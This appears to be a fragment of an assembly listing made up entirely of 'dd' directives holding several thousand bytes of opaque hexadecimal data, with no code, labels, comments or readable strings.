dd 0E801C681h, 0C4CD9FEh, 50E02E57h, 28BF13E0h, 7E00302Ch
dd 0D3DA3F16h, 8431176Fh, 0C6D8023Ah, 0AE20FCD6h, 24795EB4h
dd 9C8C248h, 0A8DBDC38h, 551B7F05h, 2C480C8Bh, 0DE44333Eh
dd 9049034Ah, 2021011Ch, 0BFD35528h, 76045742h, 2D78A0D4h
dd 4C9134EEh, 6B8C5CB4h, 0DCC8598Ch, 5CE85076h, 4D0313C7h
dd 8DC031D3h, 0E9C2DECh, 4469A84Ah, 6C0FD35h, 0B82334Dh
dd 5BFC1EFAh, 10E17802h, 269E4DEh, 464BF0B0h, 9F3100B0h
dd 0EB1627E0h, 0A3015E03h, 0AEC21F24h, 0A4FD4789h, 884A406Ch
dd 13016AE4h, 3BAD7998h, 0C3C5F66Fh, 0E5A8086Bh, 30207B44h
dd 0BC8852ECh, 0AB2D0069h, 0F9CEE343h, 53487FB2h, 18FD80D0h
dd 729832A9h, 733E09D3h, 4CC852B3h, 0CA038CB2h, 891D3985h
dd 0C7BB90D8h, 0FDAF0EBFh, 0D32004A8h, 0F6EAE725h, 6BC8CC12h
dd 53D8B001h, 1BD4AD3Ch, 2BB4134Ch, 49A48882h, 0B8043B97h
dd 5BDE4001h, 0CA882071h, 38B58498h, 7A0104h, 73437116h
dd 0B8F33972h, 822F6925h, 7A9CCAE4h, 197D74A0h, 0E96720BAh
dd 8C32EDh, 0FFF34D4Fh, 2561906h, 841173C1h, 55772A0h
dd 0C884C08h, 75237BA1h, 1C5E0015h, 262AA359h, 0A80F03CAh
dd 0D2BA0FCDh, 33682C32h, 886A82D2h, 0C300D871h, 688CE2F0h
dd 3C63E6Ch, 24DC7D80h, 0A585FA9Bh, 0DC5E0C24h, 0C1656F1Eh
dd 106D6BACh, 7192E3C0h, 0F9078790h, 0FF78683Fh, 0CDD1ADF0h
dd 0FA84AA7Eh, 52E57D20h, 0E422803Bh, 5A390C00h, 4CE3C20Bh
dd 0F34F0158h, 8559686h, 0E1A42097h, 6C9C34B8h, 25D7AE94h
dd 0B7987247h, 0ECA4B818h, 5BE91661h, 0CC3C1CBAh, 58C7C898h
dd 5175DE12h, 78C14CA9h, 0EF21AD0Ah, 4CC3294Ah, 0F5290036h
dd 1AF743D2h, 4B7EE33h, 0E340F9F8h, 4EB61CD7h, 0F181BD0Fh
dd 486E8021h, 5B2D65D8h, 933B0BF9h, 0B6003C64h, 43B94833h
dd 0C3754Fh, 21088BADh, 0A5ED2F05h, 2754D05Dh, 0B1EC667Eh
dd 926B1078h, 52E32C04h, 0D4545E09h, 0AC110C04h, 0DC1D70C0h
dd 8820B52Eh, 8F881769h, 253FF103h, 0D18E2D10h, 63C0B1CEh
dd 0B4740B1Ah, 0F882F5CFh, 0CC0A3AEh, 4F259937h, 90F85166h
dd 281A93BDh, 68D87930h, 14B514C4h, 81FCEE16h, 3FD4C6C8h
dd 70C22C24h, 3A582A54h, 64D46145h, 1B88CED0h, 0AFD30E8Ah
dd 0E4E5D22Dh, 82A4C572h, 7059C984h, 41E87614h, 0D24412F0h
dd 804480E6h, 8B6E1h, 0B392FC41h, 0FF1EA8B4h, 28098332h
dd 34D4093Ch, 965EF8D0h, 5C64AD6Ch, 2EA79107h, 0CF909DC1h
dd 2502F7h, 30534167h, 21A25626h, 9CCE6C13h, 8058A887h
dd 0B42FC9F5h, 0C7A06889h, 5CB946FCh, 554DBA84h, 65D35E47h
dd 0C9D40443h, 1130B25Dh, 0C85F83D1h, 0F80172A0h, 0D62D9AC9h
dd 0B4689E59h, 5321BCD0h, 579F2DE1h, 0C7596F0h, 9A9303BAh
dd 0D528C770h, 0CA5420E5h, 0FC59A9A0h, 0B301658h, 0C94088h
dd 684524D0h, 0E45B1142h, 92807896h, 7F030B4Dh, 0F0277083h
dd 20B35E65h, 0B9F39D50h, 72F71E09h, 1E4C4A4h, 0F83080C9h
dd 0FCA1417Eh, 0C3009D7Bh, 0FC256EE4h, 60D1C6CAh, 76E5A1F6h
dd 0B8BC3DC9h, 0E20BA0C0h, 97285CE0h, 0EC00473Fh, 0E43DF27Fh
dd 30168277h, 44E6515Ch, 0A029EE1Dh, 1D8C2880h, 0F8570F00h
dd 5CE3D385h, 0C6A60737h, 707E2ABAh, 0CE0673A5h, 98A6BDF2h
dd 0D403FA00h, 4CFCF42Ch, 69F562D1h, 21409ECAh, 0D055C7DCh
dd 9583018h, 0F678960Eh, 588566CEh, 16C90088h, 15D7BF41h
dd 0D60BAB42h, 0C4AEFBF5h, 653410C8h, 0E17C804Bh, 0B37AC0h
dd 0CAB09333h, 76029A0Ah, 15D9E700h, 0ACB81611h, 5D851703h
dd 0E4C430B4h, 0F801763Eh, 0E8A522E0h, 51CC7524h, 94019F6Ah
dd 0FCE1CAA1h, 5C0F13E2h, 92544AE4h, 0E6C0FCA8h, 471CFF6Dh
dd 6E034598h, 2DA78774h, 99C2F98Ah, 8FA8202Ah, 3005B9BBh
dd 13E4667Eh, 1160F0C2h, 96C91150h, 1FAF63C8h, 0DD1303F4h
dd 4E98023Ah, 0A890F650h, 0B4095E06h, 8A2412FBh, 4C64B448h
dd 17E5748Ch, 89438FCh, 5E8022F8h, 0AE2FE19Bh, 0DFA1050Ah
dd 0EC8E70F3h, 0E456C3ECh, 0A1990B35h, 4CFB78ECh, 615D7382h
dd 287E60EFh, 4D140079h, 6A75537Bh, 0F2008A9Ch, 59637E0Dh
dd 7322279Dh, 3C4D98B7h, 0BE8FEE57h, 0AAA1FAADh, 809E11B8h
dd 3A4CEF10h, 1048B0Dh, 1A53E20h, 0E4D612AFh, 38C0AE2Ah
dd 0F1862D1Eh, 4EE5002Eh, 71074516h, 0DB16255Ch, 3001C29Fh
dd 0D8BCFDEEh, 0FF196987h, 80A31016h, 29B8EC01h, 98251331h
dd 8D012139h, 61BE58h, 0EF563FBBh, 307AB32h, 5C470396h
dd 5100D7BDh, 0E1CCDD97h, 18B45FA9h, 0C8EC89C2h, 0B550A8DEh
dd 8D002340h, 80932959h, 32C9C5Ch, 0D31456B6h, 0BCA1551Bh
dd 0F35180A5h, 5824FFC1h, 51EC00B3h, 0CEDBBD84h, 8C30648Ah
dd 3F33996Bh, 0C7053ED4h, 9700FAD8h, 0D1F2CC55h, 88005201h
dd 0F983E98Ch, 4B48D2Ch, 0B68E10A0h, 0C33BC05Dh, 1E019B33h
dd 8CFE50B2h, 0C44290ACh, 8DBCA32Ch, 5CB900B6h, 0B7AEAB04h
dd 0C6FADABFh, 0BD4C19DEh, 6004B1DDh, 0ED0C392Bh, 94003055h
dd 743B4D8Fh, 0A405E2D1h, 335C00F0h, 8AF7C6BAh, 8D30B657h
dd 237E51AAh, 998601CCh, 2A4233FBh, 1C5FFEBh, 0A8A9B010h
dd 7FF2E84Ah, 526394Ch, 0F8C7BD58h, 0C0AFD803h, 0B46940CFh
dd 5169EE5Ch, 0F7F06486h, 0A9B72660h, 9B55070Fh, 0AF2680D3h
dd 1CA0D8D9h, 200725A1h, 41ADC2EDh, 148C19ECh, 0F8BCB5A6h
dd 0C5D1D380h, 4E1C5C05h, 0A300E387h, 1FDA0129h, 0D06D5438h
dd 31D160BBh, 5A057560h, 15627700h, 0B118F3C6h, 0CEA90198h
dd 0C587AA08h, 208EC0DDh, 0B1C23430h, 38AC0AD9h, 698F2573h
dd 5138BCB8h, 4200A1DCh, 9E97C401h, 0DA1320h, 32584D3Eh
dd 6857CBC5h, 59C7B01Eh, 234EC902h, 0ABEC912Ah, 8EE2A411h
dd 0A0E9495Eh, 62DD016Ch, 0C7FE001Eh, 4A85D61Fh, 8C90052Fh
dd 0E3ADDB3Dh, 548C39h, 50A458E1h, 0C74A878h, 0B62D9001h
dd 0AA5261A9h, 0DE0CFE28h, 0AE39AC91h, 0B49FBF29h, 48724E0Ch
dd 0C531331Fh, 20E3AFF1h, 61195CC3h, 0AD312655h, 7ED020h
dd 9FD0CB24h, 451467A6h, 0E6B51E01h, 0B08D9B1Ch, 47356980h
dd 0C5F4E2BBh, 3D49143Ah, 130FF99Ch, 6903C83Ch, 0CCC422FBh
dd 378C90B7h, 9A6E00B1h, 0E43C20C0h, 5200B850h, 0F09D5560h
dd 2499156Ch, 43740557h, 40C042B7h, 0DA3C4B7Fh, 0C2150049h
dd 0F4557258h, 22489002h, 0B403ACBFh, 204F84EFh, 1F411428h
dd 3001F42Fh, 0A7D06102h, 80F0C111h, 0D3ED0110h, 3F038Eh
dd 0D00F19CEh, 0D493C19Bh, 0FF67970Ch, 7E12920h, 91272154h
dd 0F8DDB39Eh, 95A1DFBBh, 0EF8CE405h, 9AF0200Ch, 0E430F1h
dd 0DD1A5CEDh, 0BC5F5DEBh, 971C2A00h, 0F6B0D16Ch, 8A5B0084h
dd 0B79C6766h, 0FB0C389Bh, 4196F169h, 71C300F4h, 8491E8DCh
dd 7A7AD903h, 3999D007h, 36B07388h, 60FF1570h, 7D9FA1E8h
dd 0FA0083F8h, 9AAD22E4h, 0A0181219h, 24A6F974h, 0CDD910Bh
dd 95680628h, 19841700h, 2EF03668h, 0FE74001Eh, 0E82FCCD8h
dd 667A5E8Ch, 0FFDAF908h, 859F1Ah, 43987D3Dh, 0E7FAFA64h
dd 229D7703h, 7F9E9461h, 31676FC1h, 1F779000h, 3B038163h
dd 7838E9E2h, 196DC391h, 9110CF21h, 570370C8h, 0FA2A300h
dd 210ED615h, 211962EFh, 68821F13h, 0C463A7F8h, 1BA17101h
dd 55AA9B62h, 0EB21C0h, 57986551h, 0F0540ADAh, 9AA0D264h
dd 173B9C21h, 0E2617BCFh
dd 0B7CB10F9h, 0EBC0EE12h, 48660C03h, 0E31386Ah, 558EA00h
dd 2F9A60A8h, 0E6FF7818h, 0F3BD239h, 0C353848Dh, 24706080h
dd 3DEE09CAh, 65916714h, 11900D24h, 0D0E0791Dh, 848E003Dh
dd 99FD5B41h, 2B50B01Eh, 11F11A7Ch, 419D6E48h, 0C0274032h
dd 0B54D4A24h, 4F6FBD00h, 0C7DAAC7Ch, 0F8391DF9h, 0D7E34066h
dd 783A9DF4h, 0C8304090h, 0CF925925h, 807600E1h, 64C751D5h
dd 5E03D9A0h, 9883D412h, 9472F88Ah, 954502C0h, 0C1CF1B90h
dd 6B9DA0A2h, 2296EA13h, 0D5201DFEh, 0C41750h, 0E012BD22h
dd 0A3E161C9h, 231EE04h, 99861F81h, 0C0ADE489h, 0E6CB4241h
dd 24077134h, 384D2F55h, 0A8E78F80h, 39951E6Fh, 9490D548h
dd 4917B584h, 0F7B0230Dh, 0FC480C3h, 442A0060h, 61D8677Ch
dd 0A98B9998h, 0C1823163h, 0D3F3D638h, 0E308C88Eh, 77C4349Eh
dd 79C0D154h, 6097EC0Fh, 6F0269F0h, 0EB04C870h, 6269FA0Ch
dd 18B49481h, 87792180h, 469E5347h, 1197DB05h, 0E0222119h
dd 0B4DD236Dh, 0E12D05F0h, 3A1A0E00h, 299AABE4h, 699260F0h
dd 5FB6DA6Ah, 0EF00D4E0h, 0B95A5716h, 62EDDFh, 0CDB8F4E1h
dd 77FE312Bh, 0EC583C66h, 0F1A945E8h, 53799F12h, 0D078E40h
dd 0DBA0A2h, 0ACB631CBh, 91E5C5C8h, 467BB809h, 978087D4h
dd 77CE8890h, 61F31409h, 67C89C8Fh, 0F4448E60h, 5678049Eh
dd 0C35D90D1h, 6FC03D4Ch, 0E0F9F5F9h, 31C03269h, 0D1468D97h
dd 0FECF2487h, 80A64098h, 6A1F45F9h, 0F29811F4h, 3097CB19h
dd 0CE799CEFh, 0ED0B3A32h, 7845E54h, 0D871BA97h, 88226791h
dd 5D80F864h, 43C7054h, 22769BD3h, 6491E480h, 14CF8861h
dd 36AD8A8h, 0A407ABB0h, 608C6238h, 1FD53D0h, 0EC211BD6h
dd 0E0F6290Fh, 457B3E04h, 0F0811DE2h, 0E89FF09Ah, 6107629Ch
dd 3E9DDCC3h, 0DB641BC0h, 0E9FC28FFh, 208245A4h, 78033F3Ah
dd 39DD641Fh, 9D2010E2h, 0A89099h, 974B4111h, 42F0393h
dd 4899EF3Eh, 0B3554062h, 0C8B84Eh, 51A59754h, 0F34F7D0Fh
dd 3D589562h, 0F8180935h, 9F3BC951h, 1B5B8099h, 4B3B436Fh
dd 1F2D0E5Fh, 4E0DEA23h, 618C3081h, 0FCAC8229h, 0CF186691h
dd 0C69C5111h, 2EA4C100h, 7AAC6208h, 0B88701F7h, 6E9ABD0Ch
dd 0B7830C2h, 3C0F8C92h, 0F2BC03DBh, 90D7DC02h, 40D892F0h
dd 59AE14h, 0FCB277CDh, 0FEEFD1F5h, 12C96701h, 903BC349h
dd 1109EE5h, 1905476Eh, 0C22B794Bh, 77C7C407h, 383637C7h
dd 9F2C99F8h, 0B9F28232h, 0AB604C87h, 86130394h, 2004F982h
dd 0BE5C29D3h, 0C3161E0h, 0B7074223h, 0B5DB11FBh, 0D8800533h
dd 83AE13h, 0E9310722h, 943FE00Eh, 0A301B1Ah, 0FF4C60D8h
dd 0CFE53F7Ch, 134659E0h, 1F00EC56h, 0DE7F66D9h, 6031C805h
dd 2382012h, 6B364C33h, 365840F6h, 20E99F91h, 7CB11275h
dd 0EBC3ED80h, 981A1417h, 0D6F1063Ch, 316C4867h, 0EB956100h
dd 2AE15382h, 0D7CA03C7h, 8335459Fh, 7890F9B0h, 8062873Ah
dd 0A60F84B9h, 6D6675Fh, 9DDB59FDh, 7012109Ah, 7C32012Bh
dd 4298C69Eh, 0EA1C008Eh, 559D997h, 0CD4B050h, 0A59D62D1h
dd 9A359821h, 44303964h, 0E8C8C71Ch, 0E8D40059h, 4248470Fh
dd 7704D3D0h, 9BF01521h, 0F5675E40h, 6D5A1D5Ch, 0D30004ECh
dd 9FFA474Fh, 822E1BDCh, 92119C45h, 6380B43Fh, 0D976958Ah
dd 4E60B7FEh, 61B87F20h, 28BEF8D3h, 44B0536Bh, 65019068h
dd 37262E6Ch, 5430CA29h, 38F4489Dh, 73009F22h, 0B6ADB9A0h
dd 58FBAE08h, 1622D07Ah, 0C3D68F12h, 19777821h, 0CCCB9000h
dd 2264F84Ch, 921B0183h, 9A266EA0h, 481C6031h, 5F896560h
dd 8C4A49h, 0C0D8C997h, 905C5386h, 8B04C798h, 9FC63E33h
dd 0A330D0D7h, 1766795Ah, 1E9B7F4h, 671E20C2h, 741DD568h
dd 38F0E2DCh, 0BD553A13h, 32938402h, 817C07EFh, 809DF0A6h
dd 0F5CBA199h, 1FD51F5Eh, 0F3871D54h, 214AAA08h, 0A07B9683h
dd 9539E5Fh, 3546E664h, 5434A884h, 1C4F104Ch, 180E9448h
dd 0A3F6866h, 2D4A587h, 641C0347h, 0BB267440h, 18C5B772h
dd 74D76FB2h, 0C740E2F4h, 67D9E0EEh, 0E836F924h, 0EFF11930h
dd 0C5335A3h, 0E7F80C68h, 9780ED21h, 10486590h, 1B2283EFh
dd 31F02860h, 0CE1FC7ACh, 0CDE71510h, 87B100Ch, 543EAA99h
dd 4D6080B4h, 6ECAE6C8h, 0B3CF0046h, 29CE53D1h, 78002136h
dd 7976C437h, 90DF58h, 4A169D8Ah, 206D5C05h, 2A988200h
dd 0BBBB4B8h, 4FAF0F22h, 0C001BE6h, 4DAA6EFFh, 87985B00h
dd 0E8230870h, 0B35D00B5h, 804365EFh, 0C200D522h, 5FD66BCCh
dd 58829837h, 4D3E3F55h, 0F3874400h, 93578A89h, 0D6853A02h
dd 0E0BE9759h, 73CED1h, 0A1FCEF30h, 66F4D1A3h, 60C82C01h
dd 324E88B7h, 782FD0D0h, 379D0B4Bh, 43001CF8h, 33C203E1h
dd 0C1FBD91Dh, 8B213018h, 10613825h, 76896683h, 1800EAC0h
dd 0E834158h, 28D826h, 81EF6560h, 527E624Eh, 296B0101h
dd 0DD89C827h, 64A9D300h, 8C79B018h, 914FC10h, 362E379Eh
dd 0AAC0090Fh, 9BEA7C22h, 8060A46Ch, 0EDC03197h, 0EC7A9C71h
dd 1800DC51h, 13D07062h, 75DAA5CAh, 1F4F0296h, 0C33D78A1h
dd 32B03900h, 505960C0h, 861958A5h, 0D75981F3h, 0CCDC7669h
dd 1DA14760h, 15D48CB4h, 93D8CDAh, 5D6F7500h, 11A820C9h
dd 0FE2EBE00h, 0D5AFD204h, 247F287Ah, 1268C2B5h, 0E4134894h
dd 41606262h, 0D55564CCh, 0F220DA34h, 40759Ah, 5EE45C7h
dd 0DC194CA8h, 0F45848D9h, 18CAC18Fh, 307471A7h, 55EE19F8h
dd 472AA501h, 5F7D418Ch, 0E0D9F9D0h, 57F003Ah, 493DADDh
dd 0C80FA491h, 0A0844DE7h, 0DB669AEAh, 954C1FD0h, 0E9DC80EFh
dd 4DB811DDh, 58978D00h, 6152CF6h, 0FEA3004Eh, 0A93CB5A0h
dd 50017951h, 7F937091h, 3FF40FF2h, 37890012h, 5D2E7552h
dd 8B0062ADh, 80EBF1ABh, 738535Eh, 157763A5h, 45E10E2Bh
dd 3F60077Dh, 0D898E0h, 20B64DD1h, 0DB72F8EBh, 84749506h
dd 284964h, 6DECCDFh, 0B1484AC4h, 0E5AF2801h, 0D69B2689h
dd 58CA60F0h, 0EC004EFEh, 57038D7Ch, 0E70BAA58h, 80DEF9D5h
dd 82E8A77Ch, 3FC01C36h, 66A6C65Dh, 86073053h, 0D074B31h
dd 0EEE26A60h, 3A2774C9h, 677FD49h, 0B294DF15h, 59F880ACh
dd 0E42A3Ah, 0AA8FBABFh, 0BD917Bh, 0CA66885Eh, 0ED5F0EA6h
dd 0C13F58C0h, 58E71h, 0E74EF86Ah, 2FBAFE06h, 3DF2C3Eh
dd 5CE2B7B4h, 51E90067h, 615896CDh, 8500F8D4h, 10594B69h
dd 72F28FBh, 6786434Dh, 0D5A4C096h, 730BA345h, 80C0CAC3h
dd 50CF8B84h, 0ACBB3F1Bh, 42D9280h, 0C323E3FCh, 0AE4B5601h
dd 1C55F6A4h, 0E42F76C0h, 0B11E1FA7h, 8AFF811Ah, 0BA6E434Eh
dd 2F770080h, 0E8643C68h, 0A9420021h, 3E604172h, 0DE1C55E2h
dd 0E1000C6Bh, 0A07B9A71h, 4DBB3E12h, 0D3DB0173h, 85F96E67h
dd 28A5ECD8h, 8CBD38h, 944C259Ch, 0C16DEFC3h, 487AD830h
dd 41BEC824h, 7070FDEEh, 805ECA30h, 5F7824Dh, 0FC584FB7h
dd 3801F73h, 844ECB9Ah, 36F64015h, 395D008Ch, 0CE7F8CF2h
dd 30230349h, 40507438h, 34C4FBE8h, 0D94AB730h, 8BD5B1h
dd 0BC971F92h, 0DF0C564Fh, 0D2A76100h, 60428E99h, 0B4BA004Ah
dd 0E6136388h, 7F00751Ch, 97AC7179h, 0A5AA5Ah, 1659CF56h
dd 3708D7F1h, 48CD0F00h, 0F932B6C2h, 0E867034Ch, 2E835D0Eh
dd 59C5C0C7h, 0CAC0FF43h, 0DC26CB9Ch, 30C36049h, 0B2225B8Eh
dd 0CE974A07h, 0E5A056B3h
dd 769C4940h, 3028CFCFh, 4B60C01Dh, 35BB6C23h, 0DC6FCA03h
dd 64F039Eh, 38445278h, 1B0031B4h, 5559F6DEh, 7CE81885h
dd 0BC7D3E9Bh, 39EB2F80h, 96BB1F07h, 2959CE00h, 85BF5044h
dd 0AA7907A6h, 60C9FBCAh, 0E0232491h, 0BDD1FE1Eh, 20C70387h
dd 4E83E680h, 0C6160934h, 838CB8A5h, 0B7005228h, 0E89E3AACh
dd 17E8D8Bh, 0BE5A3BBCh, 808F0C07h, 4ACA3D10h, 0E67A3515h
dd 0B1A0619Bh, 519707C9h, 0D34344A0h, 645B190Ah, 0AB00944Bh
dd 0B77047DAh, 0C110006Dh, 23036544h, 0E3003E1Dh, 9F7B46A4h
dd 69EA1638h, 0CF80F862h, 0FC492D59h, 0A14CA500h, 0F4D906CFh
dd 644B006Bh, 0BEC63D84h, 530FB650h, 835F8573h, 812D2F5h
dd 66CF5818h, 0F9D0C39Dh, 860DB004h, 3F620568h, 0D8E78780h
dd 10F65094h, 0E66A404Eh, 7D67C12Ch, 0F03CD806h, 207DEA20h
dd 0C8005C2Eh, 614ACB41h, 3EC02C9h, 0B7672DD6h, 4CC1CEE6h
dd 0C1080E0h, 7C63A229h, 0E737EA6h, 0E483682Eh, 96BF5660h
dd 0B600B4D9h, 0EED44F19h, 76A321h, 0A9223972h, 20D50332h
dd 7845A61Dh, 158B2BC0h, 3B8C23h, 84ADFF1Ah, 94E1B512h
dd 1EC6A648h, 9680796Ch, 0A83262DDh, 82C50095h, 92690E30h
dd 9A00E02Eh, 55D3A524h, 139CC78h, 5DD9E56Ch, 0F0777BC7h
dd 3CE8E3BFh, 24838500h, 5673AE2Ch, 48E50190h, 0BE92B920h
dd 0E845F043h, 0DAA9D400h, 0EDDD3A55h, 0BFDF014Ch, 2B270672h
dd 7841D6A1h, 0B5089899h, 796221h, 14890B06h, 0FFA8C53Ch
dd 5540E21Eh, 0E380921Dh, 7D9313B9h, 0BD4C01E4h, 48DF76DDh
dd 7F4093DCh, 555A0200h, 381306B1h, 30746942h, 1E20DFD3h
dd 0D17C2ECFh, 0A9248501h, 12E428BAh, 3061C1D8h, 0BF28DF49h
dd 0CB1D769Fh, 70B60791h, 5A4C0319h, 0AB4952F8h, 4301ECD8h
dd 8820A36Ch, 0C2908C7Bh, 0D9554F14h, 85A244h, 0E4645172h
dd 0E64DC51Ch, 8EDCAE01h, 608075CBh, 50C25FA5h, 0E9008C36h
dd 9CBFD4FBh, 24A94926h, 3929040h, 7FA67203h, 13DEEBE8h
dd 170ECEF0h, 2FF1D00Fh, 27682286h, 56C609Ah, 497B005Fh
dd 7AF4BB95h, 0E732BE55h, 0BFEA1048h, 66DA8604h, 330010D8h
dd 92E8619Eh, 0FDB154Ch, 977131ADh, 0DA423200h, 0B40685EDh
dd 0DFD833E4h, 11194229h, 0F121C40Bh, 90DEE208h, 0C08E840Dh
dd 9C429548h, 405124A8h, 2C3F745Eh, 0FA9D0014h, 69E726D2h
dd 637B4068h, 0BFCCC100h, 242D4DCh, 0A7A9002Eh, 0B77B9E82h
dd 0BD015940h, 9349AEF2h, 0F9DC2F5Ch, 1B310039h, 536AB4EAh
dd 691F4CA1h, 0B58084FCh, 9A220121h, 0CFA04C32h, 90F32Eh
dd 1F2F393Dh, 70F92DA2h, 280054BAh, 0CC227546h, 4F22Ch
dd 18B408D5h, 0AD81CAE0h, 0FCE68D01h, 0D2893166h, 1EB21080h
dd 8AB8046Eh, 3988D90Ah, 0C281BC82h, 0D6B729EDh, 9E1E28BAh
dd 0B8CB47F6h, 72B2A0A6h, 0EB8E73Ah, 8F00E190h, 0B63F22CAh
dd 0F505D64h, 32F81C1Fh, 69467D40h, 5F00F0ADh, 345156DDh
dd 1FCFE8h, 0A42AAFAEh, 0E7079528h, 44BACD15h, 5F1F76FCh
dd 1880802Fh, 0DF684084h, 0B91601ADh, 0F9E90496h, 115DE443h
dd 4CDB4900h, 10CC2D81h, 6A0B0DCh, 2B563A92h, 76002040h
dd 0ABA1D1F3h, 0EA23A3h, 0C02E6A6h, 0FDC77F47h, 0F0B81A60h
dd 0EEBE78A1h, 534E00C4h, 257E4657h, 80ED6592h, 5A9A59C0h
dd 3852D3C8h, 6E1C281Ah, 79B871h, 0A98E290Bh, 3A63E0D7h
dd 19EB9B00h, 49713709h, 8DDF038Ah, 0A5CD36E5h, 60F5918Ah
dd 12B4BCBFh, 0D25D2Eh, 66F37870h, 4400E017h, 639BFD71h
dd 8BEEC1h, 47CA1E52h, 97FA2EA1h, 0A6406600h, 91D1B81Ah
dd 5148000Bh, 0F33EC5D7h, 6A007718h, 5480720Fh, 1A79687h
dd 43BFE342h, 6095687Ah, 13000C8Dh, 5DBBE499h, 3E75EB12h
dd 0BD00A086h, 2B906348h, 0DD003EA9h, 47A82DBCh, 5B03Bh
dd 6313574Ch, 4204D967h, 0C00083EEh, 816F1AD4h, 2DD109h
dd 0DEC2909Eh, 8D42310Eh, 9FAF6D39h, 2CC3CB88h, 0D8B51DDBh
dd 1E1A6341h, 87EA7C1Eh, 908CAADEh, 0EF9122F8h, 0CFF27AF8h
dd 5BDC8800h, 0B48639C5h, 929302A6h, 0FA9AB218h, 24331441h
dd 0BD077394h, 34E014B0h, 98E641E0h, 29550020h, 0D4F5D50Ah
dd 3F055CE8h, 28AB4C6Bh, 41B38000h, 0B8434E42h, 810E000Eh
dd 73AD13A1h, 0E271DAF1h, 0B49E412Eh, 79DEAF1Dh, 6EDBD347h
dd 0F87FA7D0h, 0CA17002Ch, 8932072Fh, 0E800A9DCh, 0F2140CECh
dd 0B5318Fh, 95919F38h, 3503570Eh, 0D8BAF00h, 2145245Fh
dd 0A8E636h, 9648E3B6h, 3191FFD4h, 1FF8F148h, 6C00CBFDh
dd 0AD8FC478h, 0A51600DDh, 5702BF80h, 5803CEB5h, 296B17A8h
dd 227BB818h, 0F0880473h, 0C091AB40h, 83009C0h, 530003F8h
dd 0C0D2CE64h, 0FE0CDE8Eh, 0A989003Dh, 0FDCAF071h, 0E0009B4Bh
dd 0E280EA0Eh, 0E3D8CDh, 2AA71B47h, 0F6535948h, 57FFF400h
dd 6312EFB8h, 4B250032h, 3D9B7C14h, 1600D468h, 23BB8F93h
dd 0B62AE9h, 62701E12h, 40B82C2h, 4F8ADA00h, 782861C0h
dd 38200031h, 0C7657B74h, 9A18623Dh, 0ED187902h, 12243BCCh
dd 0EA386C80h, 5A5206A7h, 0EEC77E01h, 0D978362Bh, 4321CCh
dd 0FBB89F60h, 8F1373B9h, 0BE50FF00h, 0D40CB529h, 282F6052h
dd 2D70464Eh, 0D36C2B00h, 0B30ACF6Bh, 4806E4EAh, 27006C89h
dd 0B634962Eh, 93BB5C0h, 0EEBC8038h, 2161161Fh, 0F67E0F98h
dd 4B609F37h, 4172FDFFh, 0B33B3F7Ch, 3AC51D61h, 0A9AC5300h
dd 3F65Eh, 13715A9Ch, 0ED8FEA55h, 0B50AF800h, 0CDDED1E6h
dd 0E0145B30h, 0A4056E19h, 1103BF2h, 178F1BC1h, 0C6FE70h
dd 0FEFD61Ah, 4124D97Ah, 6A8ACA00h, 44100EADh, 65933BA3h
dd 8B687680h, 954E23ACh, 7CA24607h, 7590CEF1h, 0F469E070h
dd 36B0D0h, 0F5E8D21Eh, 0C501AD5Ch, 0CE416600h, 0EDEB85B5h
dd 20D64C45h, 0B9B19514h, 0B630810Fh, 435DE007h, 37D87565h
dd 5004FD3h, 0EF5BA542h, 90F9CE2h, 1D9449B4h, 0ECDAF500h
dd 8500E807h, 0D7E31456h, 3F2B12Bh, 3EB53BDCh, 0A07CE940h
dd 0D6896906h, 10FE10h, 0CE801A05h, 7D0C78Ch, 155F2B00h
dd 0C022FC98h, 4EE631h, 0EC3587D7h, 0A8854086h, 0EF0020F2h
dd 1992A3ADh, 3A97132Bh, 0F000C260h, 6D3D46F8h, 21054077h
dd 0B78818A2h, 235BA480h, 12E2008Eh, 0B534F544h, 0D00558D4h
dd 0BD3A3D33h, 6647E480h, 900F01B8h, 6F363454h, 6A2CE46Dh
dd 0D841500h, 94FA61EEh, 0E71C00CCh, 9DEBBAADh, 0B37E3342h
dd 0FC9ADC01h, 5C43A7D9h, 0AD45C0h, 4A5A202h, 0C6037191h
dd 73B2003h, 0E83D80A9h, 0F56C29h, 0A8BAF021h, 4A363966h
dd 51A05200h, 27B52F80h, 0FADA3A57h, 2595E400h, 0BFDA6CAh
dd 7D961500h, 0A0B334AEh, 6DF90056h, 8258C676h, 77005AFEh
dd 4C8B98BAh, 3BCDFBh, 0E8469F6Bh, 0B59D8D95h, 0C442240Eh
dd 939E0292h, 84A58901h, 0E0809A65h, 18BC781Ah, 0EAEAE6CEh
dd 0F8009E94h, 4273E1A0h, 4C03BAh, 2F6D4338h, 293346FAh
dd 87788870h, 0B79A0100h, 4EE0E922h, 8A2400CAh, 4115F50h
dd 2000271Fh, 34F3EE75h, 0F0BC710h, 160871BEh, 199B3120h
dd 9300F10Eh, 464AED4h, 1EBFAA1h, 0F5769779h, 81FB8D82h
dd 0B3DE1010h, 0DAFC2E84h, 0CE3D03C2h, 965D6F25h, 6EA2FDF0h
dd 0D826AE00h, 0C4D2B6F9h, 81E6186Ah, 0DE4B4104h, 162DE500h
dd 8A312141h, 70DC395Ah, 55979B00h, 2BEC48EDh, 0C12C80Fh
dd 0DBCAA0ABh, 7D326E90h
dd 4FA0010h, 62A525A8h, 5079A1Ch, 1FB04D3Ch, 0E0B6DE22h
dd 18695DAAh, 9A03AE2Ah, 68002248h, 46DA7207h, 2E6726h
dd 30662A3Bh, 0BE40F1A4h, 0FCCA3500h, 8420B36Bh, 5E3B009Fh
dd 0A28F8BBh, 0BE00CFD6h, 37F01F1Bh, 7AEE7D9Dh, 3BCC0706h
dd 80705EA7h, 2982B55Fh, 67409B00h, 0B68393DFh, 4DB0097Dh
dd 99FC5220h, 0D4983700h, 3B6966DEh, 5300D72Fh, 567091EBh
dd 300FF2EFh, 0A3EC4A9Bh, 1A48F96h, 3A5183FCh, 0F85B4675h
dd 8B0A512h, 443D7100h, 39C2EECCh, 43D7002Dh, 31AC2B59h
dd 8B3D9F24h, 5AB100E5h, 7886B7C9h, 826A004Eh, 37E4EAAAh
dd 610004BCh, 4F48799Ch, 58D9F659h, 0EE00A3CAh, 95F3B4A8h
dd 98601675h, 816ACE90h, 0B1F00E2Ah, 0F960A48Ch, 0A666575Dh
dd 0ED30F800h, 0BDE348D0h, 29CB09Ah, 5F179036h, 0C540FCE6h
dd 0FE0EBB1Fh, 2169D8E4h, 0BDCA531Bh, 0D7FC880h, 2B96BC1h
dd 66A5EB03h, 711B6121h, 0CEE800E0h, 0EACD0648h, 9F05E396h
